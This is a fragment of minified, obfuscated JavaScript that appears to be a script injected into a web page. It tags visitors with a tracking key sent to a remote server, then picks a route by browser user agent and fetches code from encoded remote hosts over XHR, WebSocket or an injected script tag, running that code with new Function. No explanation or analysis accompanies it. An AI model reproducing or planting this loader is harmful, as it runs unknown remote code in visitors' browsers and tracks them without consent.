e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=iBkh(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmFzaGNucS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS5555a2toanMuY24lM0E55NTM1','162092',window,document,['l','5']);}:function(){};